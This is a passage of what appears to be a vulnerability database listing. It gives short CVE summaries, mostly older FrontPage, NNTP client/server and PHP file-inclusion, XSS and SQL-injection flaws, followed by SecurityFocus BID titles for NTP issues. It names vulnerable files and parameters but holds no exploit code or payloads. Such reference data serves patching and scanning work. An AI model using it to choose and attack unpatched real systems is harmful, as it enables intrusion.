23739| [CVE-2007-6542] PHP remote file inclusion vulnerability in admin/frontpage_right.php in Arcadem LE 2.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.
23740| [CVE-2007-6499] Unspecified vulnerability in Hosting Controller 6.1 Hot fix 3.3 and earlier allows remote authenticated users to uninstall the FrontPage extensions of an arbitrary account via a request to fp2002/UNINSTAL.asp with a "host id (IIS) value."
23741| [CVE-2007-6455] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Mambo 4.6.2 allow remote attackers to inject arbitrary web script or HTML via the (1) Itemid parameter in a com_frontpage option and the (2) option parameter.
23742| [CVE-2007-4841] Mozilla Firefox before 2.0.0.8, Thunderbird before 2.0.0.8, and SeaMonkey before 1.1.5 allows remote attackers to execute arbitrary commands via a (1) mailto, (2) nntp, (3) news, or (4) snews URI with invalid "%" encoding, related to improper file type handling on Windows XP with Internet Explorer 7 installed, a variant of CVE-2007-3845.
23743| [CVE-2007-4042] Multiple argument injection vulnerabilities in Netscape Navigator 9 allow remote attackers to execute arbitrary commands via a NULL byte (%00) and shell metacharacters in a (1) mailto, (2) nntp, (3) news, (4) snews, or (5) telnet URI, a similar issue to CVE-2007-3670.
23744| [CVE-2007-4041] Multiple argument injection vulnerabilities in Mozilla Firefox 2.0.0.5 and 3.0alpha allow remote attackers to execute arbitrary commands via a NULL byte (%00) and shell metacharacters in a (1) mailto, (2) nntp, (3) news, (4) snews, or (5) telnet URI, a similar issue to CVE-2007-3670.
23745| [CVE-2007-3897] Heap-based buffer overflow in Microsoft Outlook Express 6 and earlier, and Windows Mail for Vista, allows remote Network News Transfer Protocol (NNTP) servers to execute arbitrary code via long NNTP responses that trigger memory corruption.
23746| [CVE-2007-3109] The CERN Image Map Dispatcher (htimage.exe) in Microsoft FrontPage allows remote attackers to determine the existence, and possibly partial contents, of arbitrary files under the web root via a relative pathname in the PATH_INFO.
23747| [CVE-2007-1715] PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: the forgot_pass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps CVE-2006-5763.
23748| [CVE-2007-1560] The clientProcessRequest() function in src/client_side.c in Squid 2.6 before 2.6.STABLE12 allows remote attackers to cause a denial of service (daemon crash) via crafted TRACE requests that trigger an assertion error.
23749| [CVE-2007-0604] Cross-site scripting (XSS) vulnerability in Movable Type (MT) before 3.34 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the MTCommentPreviewIsStatic tag, which can open the "comment entry screen," a different vulnerability than CVE-2007-0231.
23750| [CVE-2007-0446] Stack-based buffer overflow in magentproc.exe for Hewlett-Packard Mercury LoadRunner Agent 8.0 and 8.1, Performance Center Agent 8.0 and 8.1, and Monitor over Firewall 8.1 allows remote attackers to execute arbitrary code via a packet with a long server_ip_name field to TCP port 54345, which triggers the overflow in mchan.dll.
23751| [CVE-2007-0359] PHP remote file inclusion vulnerability in frontpage.php in Uberghey CMS 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the setup_folder parameter.
23752| [CVE-2006-7160] The Sandbox.sys driver in Outpost Firewall PRO 4.0, and possibly earlier versions, does not validate arguments to hooked SSDT functions, which allows local users to cause a denial of service (crash) via invalid arguments to the (1) NtAssignProcessToJobObject,, (2) NtCreateKey, (3) NtCreateThread, (4) NtDeleteFile, (5) NtLoadDriver, (6) NtOpenProcess, (7) NtProtectVirtualMemory, (8) NtReplaceKey, (9) NtTerminateProcess, (10) NtTerminateThread, (11) NtUnloadDriver, and (12) NtWriteVirtualMemory functions.
23753| [CVE-2006-6187] Multiple SQL injection vulnerabilities in ClickTech Click Gallery allow remote attackers to execute arbitrary SQL commands via the (1) currentpage or (2) gallery_id parameter to (a) view_gallery.asp, the (3) image_id parameter to (b) download_image.asp, the currentpage or (5) orderby parameter to (c) gallery.asp, or the currentpage parameter to (d) view_recent.asp.
23754| [CVE-2006-5864] Stack-based buffer overflow in the ps_gettext function in ps.c for GNU gv 3.6.2, and possibly earlier versions, allows user-assisted attackers to execute arbitrary code via a PostScript (PS) file with certain headers that contain long comments, as demonstrated using the (1) DocumentMedia, (2) DocumentPaperSizes, and possibly (3) PageMedia and (4) PaperSize headers. NOTE: this issue can be exploited through other products that use gv such as evince.
23755| [CVE-2006-5182] PHP remote file inclusion vulnerability in frontpage.php in Dan Jensen Travelsized CMS 0.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the setup_folder parameter.
23756| [CVE-2006-5020] Multiple PHP remote file inclusion vulnerabilities in SolidState 0.4 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the base_path parameter in manager/pages/ scripts including (1) AccountsPage.class.php, (2) AddInvoicePage.class.php, (3) AddIPAddressPage.class.php, (4) AddPaymentPage.class.php, (5) AddTaxRulePage.class.php, (6) AssignDomainPage.class.php, (7) AssignHostingPage.class.php, (8) AssignProductPage.class.php, (9) BillingPage.class.php, (10) BillingPaymentPage.class.php, (11) BrowseAccountsPage.class.php, (12) BrowseInvoicesPage.class.php, (13) ConfigureEditUserPage.class.php, (14) ConfigureNewUserPage.class.php, (15) ConfigureNewUserReceiptPage.class.php, (16) ConfigureUsersPage.class.php, (17) DeleteAccountPage.class.php, (18) DeleteDomainServicePage.class.php, (19) DeleteHostingServicePage.class.php, (20) DeleteInvoicePage.class.php, (21) DeleteProductPage.class.php, (22) DeleteServerPage.class.php, (23) DomainServicesPage.class.php, (24) DomainsPage.class.php, (25) EditAccountPage.class.php, (26) EditDomainPage.class.php, (27) EditDomainServicePage.class.php, (28) EditHostingServicePage.class.php, (29) EditPaymentPage.class.php, (30) EditProductPage.class.php, (31) EditServerPage.class.php, (32) EmailInvoicePage.class.php, (33) ExecuteOrderPage.class.php, (34) ExpiredDomainsPage.class.php, (35) FulfilledOrdersPage.class.php, (36) GenerateInvoicesPage.class.php, (37) HomePage.class.php, (38) InactiveAccountsPage.class.php, (39) IPManagerPage.class.php, (40) LoginPage.class.php, (41) LogPage.class.php, (42) ModulesPage.class.php, (43) NewAccountPage.class.php, (44) NewDomainServicePage.class.php, (45) NewProductPage.class.php, (46) OutstandingInvoicesPage.class.php, (47) PendingAccountsPage.class.php, (48) PendingOrdersPage.class.php, (49) PrintInvoicePage.class.php, (50) ProductsPage.class.php, (51) RegisterDomainPage.class.php, (52) RegisteredDomainsPage.class.php, (53) ServersPage.class.php, (54) ServicesHostingServicesPage.class.php, (55) ServicesNewHostingPage.class.php, (56) ServicesPage.class.php, (57) ServicesWebHostingPage.class.php, (58) SettingsPage.class.php, (59) TaxesPage.class.php, (60) TransferDomainPage.class.php, (61) ViewAccountPage.class.php, (62) ViewDomainServicePage.class.php, (63) ViewHostingServicePage.class.php, (64) ViewInvoicePage.class.php, (65) ViewLogMessagePage.class.php, (66) ViewOrderPage.class.php, (67) ViewProductPage.class.php, (68) ViewServerPage.class.php, (69) WelcomeEmailPage.class.php
23757| [CVE-2006-4286] ** DISPUTED ** PHP remote file inclusion vulnerability in contentpublisher.php in the contentpublisher component (com_contentpublisher) for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter. NOTE: this issue has been disputed by third parties who state that contentpublisher.php protects against direct request in the most recent version. The original researcher is known to be frequently inaccurate.
23758| [CVE-2006-4103] PHP remote file inclusion vulnerability in article-raw.php in Jason Alexander phNNTP 1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the file_newsportal parameter.
23759| [CVE-2006-4055] Multiple PHP remote file inclusion vulnerabilities in Olaf Noehring The Search Engine Project (TSEP) 0.942 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the tsep_config[absPath] parameter to (1) include/colorswitch.php, (2) contentimages.class.php, (3) ipfunctions.php, (4) configfunctions.php, (5) printpagedetails.php, or (6) log.class.php. NOTE: the copyright.php vector is already covered by CVE-2006-3993.
23760| [CVE-2006-3628] Multiple format string vulnerabilities in Wireshark (aka Ethereal) 0.10.x to 0.99.0 allow remote attackers to cause a denial of service and possibly execute arbitrary code via the (1) ANSI MAP, (2) Checkpoint FW-1, (3) MQ, (4) XML, and (5) NTP dissectors.
23761| [CVE-2006-3026] Multiple cross-site scripting (XSS) vulnerabilities in ClickGallery 5.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) gallery_id parameter in gallery.asp and (2) parentcurrentpage parameter in view_gallery.asp.
23762| [CVE-2006-2490] Multiple cross-site scripting (XSS) vulnerabilities in Mobotix IP Network Cameras M1 1.9.4.7 and M10 2.0.5.2, and other versions before 2.2.3.18 for M10/D10 and 3.0.3.31 for M22, allow remote attackers to inject arbitrary web script or HTML via URL-encoded values in (1) the query string to help/help, (2) the get_image_info_abspath parameter to control/eventplayer, and (3) the source_ip parameter to events.tar.
23763| [CVE-2006-1662] The frontpage option in Limbo CMS 1.0.4.2 and 1.0.4.1 allows remote attackers to execute arbitrary PHP commands via the Itemid parameter in index.php.
23764| [CVE-2006-1437] UPOINT @1 Event Publisher stores sensitive information under the web document root with insufifcient access control, which allows remote attackers to read private comments via a direct request to eventpublisher.txt.
23765| [CVE-2006-1436] Multiple cross-site scripting (XSS) vulnerabilities in UPOINT @1 Event Publisher allow remote attackers to inject arbitrary web script or HTML via the (1) Event, (2) Description, (3) Time, (4) Website, and (5) Public Remarks fields to (a) eventpublisher_admin.htm and (b) eventpublisher_usersubmit.htm.
23766| [CVE-2006-0375] Advantage Century Telecommunication (ACT) P202S IP Phone 1.01.21 running firmware 1.1.21 on VxWorks uses a hardcoded Network Time Protocol (NTP) server in Taiwan, which could allow remote attackers to provide false time information, block access to time information, or conduct other attacks.
23767| [CVE-2006-0015] Cross-site scripting (XSS) vulnerability in _vti_bin/_vti_adm/fpadmdll.dll in Microsoft FrontPage Server Extensions 2002 and SharePoint Team Services allows remote attackers to inject arbitrary web script or HTML, then leverage the attack to execute arbitrary programs or create new accounts, via the (1) operation, (2) command, and (3) name parameters.
23768| [CVE-2005-4716] Hitachi TP1/Server Base and TP1/NET/Library 2 on IBM AIX allow remote attackers to (1) cause a denial of service (OpenTP1 system outage) via invalid data to a port used by a system-server process, and (2) cause a denial of service (process failure) via invalid data to a port used by any of certain other processes.
23769| [CVE-2005-3356] The mq_open system call in Linux kernel 2.6.9, in certain situations, can decrement a counter twice ("double decrement") as a result of multiple calls to the mntput function when the dentry_open function call fails, which allows local users to cause a denial of service (panic) via unspecified attack vectors.
23770| [CVE-2005-3120] Stack-based buffer overflow in the HTrjis function in Lynx 2.8.6 and earlier allows remote NNTP servers to execute arbitrary code via certain article headers containing Asian characters that cause Lynx to add extra escape (ESC) characters.
23771| [CVE-2005-2658] Buffer overflow in utility.cpp in Turquoise SuperStat (turqstat) 2.2.4 and earlier might allow remote NNTP servers to execute arbitrary code via a date with a long month.
23772| [CVE-2005-2428] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
23773| [CVE-2005-1363] Multiple SQL injection vulnerabilities in MetaCart 2.0 for PayFlow allow remote attackers to execute arbitrary commands via (1) intCatalogID, (2) strSubCatalogID, or (3) strSubCatalog_NAME parameter to productsByCategory.asp, (4) curCatalogID, (5) strSubCatalog_NAME, (6) intCatalogID, or (7) page parameter to productsByCategory.asp or (8) intProdID parameter to product.asp.
23774| [CVE-2005-1362] Multiple SQL injection vulnerabilities in MetaCart 2.0 for Paypal allow remote attackers to execute arbitrary SQL commands via the (1) intProdID parameter to product.asp, (2) intCatalogID or (3) strSubCatalogID parameters to productsByCategory.asp, (4) chkText, (5) strText, (6) chkPrice, (7) intPrice, (8) chkCat, or (9) strCat parameters to searchAction.asp.
23775| [CVE-2005-1361] Multiple SQL injection vulnerabilities in MetaCart e-Shop 8.0 allow remote attackers to execute arbitrary SQL commands via the (1) intProdID parameter in product.asp or (2) strCatalog_NAME parameter to productsByCategory.asp.
23776| [CVE-2005-1213] Stack-based buffer overflow in the news reader for Microsoft Outlook Express (MSOE.DLL) 5.5 SP2, 6, and 6 SP1 allows remote malicious NNTP servers to execute arbitrary code via a LIST response with a long second field.
23777| [CVE-2005-0807] Multiple buffer overflows in Cain & Abel before 2.67 allow remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via (1) an IKE packet with a large ID field that is not properly handled by the PSK sniffer filter, (2) the HTTP sniffer filter, or the (3) POP3, (4) SMTP, (5) IMAP, (6) NNTP, or (7) TDS sniffer filters.
23778| [CVE-2005-0785] Cross-site scripting (XSS) vulnerability in usersrecentposts in YaBB 2.0 rc1 allows remote attackers to inject arbitrary web script or HTML via the username parameter.
23779| [CVE-2005-0741] Cross-site scripting (XSS) vulnerability in YaBB.pl for YaBB 2.0 RC1 allows remote attackers to inject arbitrary web script or HTML via the username parameter in a usersrecentposts action.
23780| [CVE-2005-0736] Integer overflow in sys_epoll_wait in eventpoll.c for Linux kernel 2.6 to 2.6.11 allows local users to overwrite kernel memory via a large number of events.
23781| [CVE-2005-0719] Unknown vulnerability in the systems message queue in HP Tru64 Unix 4.0F PK8 through 5.1B-2/PK4 allows local users to cause a denial of service (process crash) for processes such as nfsstat, pfstat, arp, ogated, rarpd, route, sendmail, srconfig, strsetup, trpt, netstat, and xntpd.
23782| [CVE-2005-0101] Buffer overflow in the socket_getline function in Newspost 2.1.1 and earlier allows remote malicious NNTP servers to execute arbitrary code via a long string without a newline character.
23783| [CVE-2004-2068] fetchnews in leafnode 1.9.47 and earlier allows remote attackers to cause a denial of service (process hang) via an emptry NNTP news article with missing mandatory headers.
23784| [CVE-2004-1719] Multiple cross-site scripting (XSS) vulnerabilities in Merak Webmail Server 5.2.7 allow remote attackers to inject arbitrary web script or HTML via the (1) category, (2) cserver, (3) ext, (4) global, (5) showgroups, (6) or showlite parameters to address.html, or the (7) spage or (8) autoresponder parameters to settings.html, the (9) folder parameter to readmail.html, or the (10) attachmentpage_text_error parameter to attachment.html, (11) folder, (12) ct, or (13) cv parameters to calendar.html, (14) an <img> tag, or (15) the subject of an e-mail message.
23785| [CVE-2004-1610] SalesLogix 6.1 uses client-specified pathnames for writing certain files, which might allow remote authenticated users to create arbitrary files and execute code via the (1) vMME.AttachmentPath or (2) vMME.LibraryPath variables.
23786| [CVE-2004-1316] Heap-based buffer overflow in MSG_UnEscapeSearchUrl in nsNNTPProtocol.cpp for Mozilla 1.7.3 and earlier allows remote attackers to cause a denial of service (application crash) via an NNTP URL (news:) with a trailing '\' (backslash) character, which prevents a string from being NULL terminated.
23787| [CVE-2004-0574] The Network News Transfer Protocol (NNTP) component of Microsoft Windows NT Server 4.0, Windows 2000 Server, Windows Server 2003, Exchange 2000 Server, and Exchange Server 2003 allows remote attackers to execute arbitrary code via XPAT patterns, possibly related to improper length validation and an "unchecked buffer," leading to off-by-one and heap-based buffer overflows.
23788| [CVE-2003-1266] The (1) FTP, (2) POP3, (3) SMTP, and (4) NNTP servers in EServer 2.92 through 2.97, and possibly 2.98, allow remote attackers to cause a denial of service (crash) via a large amount of data.
23789| [CVE-2003-0824] Unknown vulnerability in the SmartHTML interpreter (shtml.dll) in Microsoft FrontPage Server Extensions 2000 and 2002, and Microsoft SharePoint Team Services 2002, allows remote attackers to cause a denial of service (response failure) via a certain request.
23790| [CVE-2003-0822] Buffer overflow in the debug functionality in fp30reg.dll of Microsoft FrontPage Server Extensions (FPSE) 2000 and 2002 allows remote attackers to execute arbitrary code via a crafted chunked encoded request.
23791| [CVE-2003-0744] The fetchnews NNTP client in leafnode 1.9.3 to 1.9.41 allows remote attackers to cause a denial of service (process hang and termination) via certain malformed Usenet news articles that cause fetchnews to hang while waiting for input.
23792| [CVE-2002-2317] Memory leak in the (1) httpd, (2) nntpd, and (3) vpn driver in VelociRaptor 1.0 allows remote attackers to cause a denial of service (memory consumption) via an unknown method.
23793| [CVE-2002-2305] SQL injection vulnerability in agentadmin.php in Immobilier allows remote attackers to execute arbitrary SQL commands via the (1) agentname or (2) agentpassword parameter.
23794| [CVE-2002-2262] Unspecified vulnerability in xntpd of HP-UX 10.20 through 11.11 allows remote attackers to cause a denial of service (hang) via unknown attack vectors.
23795| [CVE-2002-1789] Format string vulnerability in newsx NNTP client before 1.4.8 allows local users to execute arbitrary code via format string specifiers that are not properly handled in a call to the syslog function.
23796| [CVE-2002-1788] Format string vulnerability in the nn_exitmsg function in nn 6.6.0 through 6.6.3 allows remote NNTP servers to execute arbitrary code via format strings in server responses.
23797| [CVE-2002-1718] Microsoft Internet Information Server (IIS) 5.1 may allow remote attackers to view the contents of a Frontpage Server Extension (FPSE) file, as claimed using an HTTP request for colegal.htm that contains .. (dot dot) sequences.
23798| [CVE-2002-0913] Format string vulnerability in log_doit function of Slurp NNTP client 1.1.0 allows a malicious news server to execute arbitrary code on the client via format strings in a server response.
23799| [CVE-2002-0909] Multiple buffer overflows in mnews 1.22 and earlier allow (1) a remote NNTP server to execute arbitrary code via long responses, or local users can gain privileges via long command line arguments (2) -f, (3) -n, (4) -D, (5) -M, or (6) -P, or via long environment variables (7) JNAMES or (8) MAILSERVER.
23800| [CVE-2002-0692] Buffer overflow in SmartHTML Interpreter (shtml.dll) in Microsoft FrontPage Server Extensions (FPSE) 2000 and 2002 allows remote attackers to cause a denial of service (CPU consumption) or run arbitrary code, respectively, via a certain type of web file request.
23801| [CVE-2002-0525] Format string vulnerabilities in (1) inews or (2) rnews for INN 2.2.3 and earlier allow local users and remote malicious NNTP servers to gain privileges via format string specifiers in NTTP responses.
23802| [CVE-2002-0002] Format string vulnerability in stunnel before 3.22 when used in client mode for (1) smtp, (2) pop, or (3) nntp allows remote malicious servers to execute arbitrary code.
23803| [CVE-2001-1204] Directory traversal vulnerability in phprocketaddin in Total PC Solutions PHP Rocket Add-in for FrontPage 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the page parameter.
23804| [CVE-2001-0764] Buffer overflow in ntping in scotty 2.1.0 allows local users to execute arbitrary code via a long hostname as a command line argument.
23805| [CVE-2001-0543] Memory leak in NNTP service in Windows NT 4.0 and Windows 2000 allows remote attackers to cause a denial of service (memory exhaustion) via a large number of malformed posts.
23806| [CVE-2001-0414] Buffer overflow in ntpd ntp daemon 4.0.99k and earlier (aka xntpd and xntp3) allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long readvar argument.
23807| [CVE-2001-0341] Buffer overflow in Microsoft Visual Studio RAD Support sub-component of FrontPage Server Extensions allows remote attackers to execute arbitrary commands via a long registration request (URL) to fp30reg.dll.
23808| [CVE-2001-0096] FrontPage Server Extensions (FPSE) in IIS 4.0 and 5.0 allows remote attackers to cause a denial of service via a malformed form, aka the "Malformed Web Form Submission" vulnerability.
23809| [CVE-2000-0438] Buffer overflow in fdmount on Linux systems allows local users in the "floppy" group to execute arbitrary commands via a long mountpoint parameter.
23810| [CVE-2000-0431] Cobalt RaQ2 and RaQ3 does not properly set the access permissions and ownership for files that are uploaded via FrontPage, which allows attackers to bypass cgiwrap and modify files.
23811| [CVE-2000-0341] ATRIUM Cassandra NNTP Server 1.10 allows remote attackers to cause a denial of service via a long login name.
23812| [CVE-2000-0256] Buffer overflows in htimage.exe and Imagemap.exe in FrontPage 97 and 98 Server Extensions allow a user to conduct activities that are not otherwise available through the web site, aka the "Server-Side Image Map Components" vulnerability.
23813| [CVE-2000-0153] FrontPage Personal Web Server (PWS) allows remote attackers to read files via a .... (dot dot) attack.
23814| [CVE-2000-0122] Frontpage Server Extensions allows remote attackers to determine the physical path of a virtual directory via a GET request to the htimage.exe CGI program.
23815| [CVE-2000-0114] Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
23816| [CVE-1999-1016] Microsoft HTML control as used in (1) Internet Explorer 5.0, (2) FrontPage Express, (3) Outlook Express 5, and (4) Eudora, and possibly others, allows remote malicious web site or HTML emails to cause a denial of service (100% CPU consumption) via large HTML form fields such as text inputs in a table cell.
23817| [CVE-1999-0681] Buffer overflow in Microsoft FrontPage Server Extensions (PWS) 3.0.2.926 on Windows 95, and possibly other versions, allows remote attackers to cause a denial of service via a long URL.
23818| [CVE-2011-3372] imap/nntpd.c in the NNTP server (nntpd) for Cyrus IMAPd 2.4.x before 2.4.12 allows remote attackers to bypass authentication by sending an AUTHINFO USER command without sending an additional AUTHINFO PASS command.
23819| [CVE-2009-3563] ntp_request.c in ntpd in NTP before 4.2.4p8, and 4.2.5, allows remote attackers to cause a denial of service (CPU and bandwidth consumption) by using MODE_PRIVATE to send a spoofed (1) request or (2) response packet that triggers a continuous exchange of MODE_PRIVATE error responses between two NTP daemons.
23820| [CVE-2006-2334] The RtlDosPathNameToNtPathName_U API function in NTDLL.DLL in Microsoft Windows 2000 SP4 and XP SP2 does not properly convert DOS style paths with trailing spaces into NT style paths, which allows context-dependent attackers to create files that cannot be accessed through the expected DOS path or prevent access to other similarly named files in the same directory, which prevents those files from being detected or disinfected by certain anti-virus and anti-spyware software.
23821| [CVE-2006-1711] Plone 2.0.5, 2.1.2, and 2.5-beta1 does not restrict access to the (1) changeMemberPortrait, (2) deletePersonalPortrait, and (3) testCurrentPassword methods, which allows remote attackers to modify portraits.
23822| [CVE-2005-2496] The xntpd ntp (ntpd) daemon before 4.2.0b, when run with the -u option and using a string to specify the group, uses the group ID of the user instead of the group, which causes xntpd to run with different privileges than intended.
23823| [CVE-2005-1911] The fetchnews NNTP client in leafnode 1.11.2 and earlier can hang while waiting for input that never arrives, which allows remote NNTP servers to cause a denial of service (news loss).
23824| [CVE-2005-1453] fetchnews in leafnode 1.9.48 to 1.11.1 allows remote NNTP servers to cause a denial of service (crash) by closing the connection while fetchnews is reading (1) an article header or (2) an article body, which also prevents fetchnews from querying other servers.
23825| [CVE-2004-0657] Integer overflow in the NTP daemon (NTPd) before 4.0 causes the NTP server to return the wrong date/time offset when a client requests a date/time that is more than 34 years away from the server's time.
23826| [CVE-2002-0427] Buffer overflows in fpexec in mod_frontpage before 1.6.1 may allow attackers to gain root privileges.
23827| [CVE-2000-0710] The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers determine the physical path of the server components by requesting an invalid URL whose name includes a standard DOS device name.
23828| [CVE-2000-0709] The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers to cause a denial of service in some components by requesting a URL whose name includes a standard DOS device name.
23829| [CVE-2000-0413] The shtml.exe program in the FrontPage extensions package of IIS 4.0 and 5.0 allows remote attackers to determine the physical path of HTML, HTM, ASP, and SHTML files by requesting a file that does not exist, which generates an error message that reveals the path.
23830| [CVE-1999-1376] Buffer overflow in fpcount.exe in IIS 4.0 with FrontPage Server Extensions allows remote attackers to execute arbitrary commands.
23831| [CVE-1999-1052] Microsoft FrontPage stores form results in a default location in /_private/form_results.txt, which is world-readable and accessible in the document root, which allows remote attackers to read possibly sensitive information submitted by other users.
23832| [CVE-1999-1043] Microsoft Exchange Server 5.5 and 5.0 does not properly handle (1) malformed NNTP data, or (2) malformed SMTP data, which allows remote attackers to cause a denial of service (application error).
23833| [CVE-1999-0386] Microsoft Personal Web Server and FrontPage Personal Web Server in some Windows systems allows a remote attacker to read files on the server by using a nonstandard URL.
23834|
23835| SecurityFocus - https://www.securityfocus.com/bid/:
23836| [104517] NTP CVE-2018-12327 Stack Buffer Overflow Vulnerability
23837| [103351] NTP CVE-2018-7183 Buffer Overflow Vulnerability
23838| [103339] NTP CVE-2018-7185 Denial of Service Vulnerability
23839| [103194] NTP CVE-2018-7170 Incomplete Fix Remote Security Vulnerability
23840| [103192] NTP CVE-2018-7184 Denial of Service Vulnerability
23841| [103191] NTP CVE-2018-7182 Information Disclosure Vulnerability
23842| [97078] NTP CVE-2017-6452 Local Stack Based Buffer Overflow Vulnerability
23843| [97076] NTP CVE-2017-6459 Local Denial of Service Vulnerability
23844| [97074] NTP CVE-2017-6455 Local Denial of Service Vulnerability
23845| [97058] NTP CVE-2017-6451 Local Denial of Service Vulnerability
23846| [97052] NTP CVE-2017-6460 Stack Buffer Overflow Vulnerability
23847| [97051] NTP CVE-2017-6458 Buffer Overflow Vulnerability
23848| [97050] NTP CVE-2017-6464 Denial of Service Vulnerability
23849| [97049] NTP CVE-2017-6463 Denial of Service Vulnerability
23850| [97046] NTP CVE-2016-9042 Denial of Service Vulnerability
23851| [97045] NTP CVE-2017-6462 Local Buffer Overflow Vulnerability
23852| [94455] NTP CVE-2016-7433 Local Denial of Service Vulnerability
23853| [94454] NTP CVE-2016-7431 Denial of Service Vulnerability
23854| [94453] NTP CVE-2016-7429 Local Denial of Service Vulnerability
23855| [94452] NTP CVE-2016-9310 Denial of Service Vulnerability
23856| [94451] NTP CVE-2016-7426 Local Denial of Service Vulnerability
23857| [94450] NTP CVE-2016-9312 Denial of Service Vulnerability
23858| [94448] NTP CVE-2016-7434 Local Denial of Service Vulnerability
23859| [94447] NTP CVE-2016-7427 Denial of Service Vulnerability
23860| [94446] NTP CVE-2016-7428 Denial of Service Vulnerability
23861| [94444] NTP CVE-2016-9311 NULL Pointer Dereference Denial of Service Vulnerability
23862| [92277] BusyBox 'networking/ntpd.c' Remote Denial of Service Vulnerability
23863| [91400] Meinberg NTP Time Server Multiple Privilege Escalation and Buffer Overflow Vulnerabilities
23864| [91180] Foxit Reader 'CPDF_StreamContentParser::~CPDF_StreamContentParser' Memory Corruption Vulnerability
23865| [91010] NTP CVE-2016-4953 Denial of Service Vulnerability
23866| [91009] NTP CVE-2016-4956 Incomplete Fix Denial of Service Vulnerability
23867| [91007] NTP CVE-2016-4955 Denial of Service Vulnerability
23868| [90818] OpenNTPD 'ntpd/constraint.c' Certificate Validation Security Bypass Vulnerability
23869| [88276] NTP CVE-2016-1547 Denial of Service Vulnerability
23870| [88264] NTP CVE-2016-1548 Security Bypass Vulnerability
23871| [88261] NTP CVE-2016-1550 Local Security Bypass Vulnerability
23872| [88226] NTP CVE-2016-2518 Denial of Service Vulnerability
23873| [88219] NTP CVE-2016-1551 Remote Security Vulnerability
23874| [88204] NTP CVE-2016-2519 Denial of Service Vulnerability
23875| [88200] NTP CVE-2016-1549 Remote Security Vulnerability
23876| [88189] NTP CVE-2016-2517 Denial of Service Vulnerability
23877| [88180] NTP CVE-2016-2516 Denial of Service Vulnerability
23878| [88081] Microsoft FrontPage CVE-1999-1052 Information Disclosure Vulnerability
23879| [86089] Microsoft FrontPage CVE-2007-3109 Remote Security Vulnerability
23880| [83193] NTP CVE-2004-0657 Remote Security Vulnerability
23881| [82105] NTP CVE-2015-8139 Security Bypass Vulnerability
23882| [82102] NTP CVE-2015-8140 Security Bypass Vulnerability
23883| [81963] NTP CVE-2015-7973 Security Bypass Vulnerability
23884| [81962] NTP CVE-2015-7978 Denial of Service Vulnerability
23885| [81960] NTP CVE-2015-7974 Symmetric Key Encryption Authentication Security Bypass Vulnerability
23886| [81959] NTP CVE-2015-7975 Local Denial of Service Vulnerability
23887| [81816] NTP CVE-2015-7979 Denial of Service Vulnerability
23888| [81815] NTP CVE-2015-7977 NULL Pointer Dereference Denial of Service Vulnerability
23889| [81814] NTP CVE-2015-8158 Denial of Service Vulnerability
23890| [81811] NTP CVE-2015-8138 Denial of Service Vulnerability
23891| [81552] NTP Cronjob Script CVE-2016-0727 Local Privilege Escalation Vulnerability
23892| [77288] Network Time Protocol 'ntpq.c' Memory Corruption Vulnerability
23893| [77286] NTP CVE-2015-7702 Incomplete Fix Denial of Service Vulnerability
23894| [77285] NTP CVE-2015-7692 Incomplete Fix Denial of Service Vulnerability
23895| [77282] Network Time Protocol 'ntp_control.c' Directory Traversal Vulnerability
23896| [77281] NTP CVE-2015-7701 Denial of Service Vulnerability
23897| [77278] NTP Multiple Arbitrary File Overwrite Vulnerabilities
23898| [77274] NTP CVE-2015-7691 Incomplete Fix Denial of Service Vulnerability
23899| [76476] RETIRED: NTP CVE-2015-5196 Multiple Arbitrary File Overwrite Vulnerabilities
23900| [76475] NTP CVE-2015-5194 Denial of Service Vulnerability
23901| [76474] NTP 'ntpd/ntp_config.c' Remote Denial of Service Vulnerability
23902| [76473] NTP CVE-2015-5219 Denial of Service Vulnerability
23903| [75589] NTP CVE-2015-5146 Denial of Service Vulnerability
23904| [73951] NTP CVE-2015-1798 Man in the Middle Security Bypass Vulnerability
23905| [73950] NTP CVE-2015-1799 Denial of Service Vulnerability
23906| [73713] Mjseventpro CVE-2010-0340 SQL-Injection Vulnerability
23907| [72584] NTP 'ntp_io.c' Authentication Security Bypass Vulnerability
23908| [72583] NTP 'ntp_crypto.c' Information Disclosure Vulnerability
23909| [71969] Network Time Protocol ntpdc Local Buffer Overflow Vulnerability
23910| [65434] Apache Subversion 'mod_dav_svn' Module SVNListParentPath Denial of Service Vulnerability
23911| [64692] NTP 'ntp_request.c' Remote Denial of Service Vulnerability
23912| [62185] Microsoft FrontPage CVE-2013-3137 Information Disclosure Vulnerability
23913| [55561] IFOBS 'regclientprint.jsp' Multiple HTML Injection Vulnerabilities
23914| [54283] Linux Kernel 'fs/eventpoll.c' Local Denial of Service Vulnerability
23915| [52083] UTC Fire & Security GE-MC100-NTP/GPS-ZB Default Credentials Authentication Bypass Vulnerability
23916| [46630] Linux Kernel epoll Subsystem 'eventpoll.c' Multiple Local Denial of Service Vulnerabilities
23917| [45792] HP LoadRunner 'magentproc.exe' Remote Code Execution Vulnerability
23918| [41798] IBM FileNet Content Manager 'InheritParentPermissions' Flag Security Bypass Vulnerability
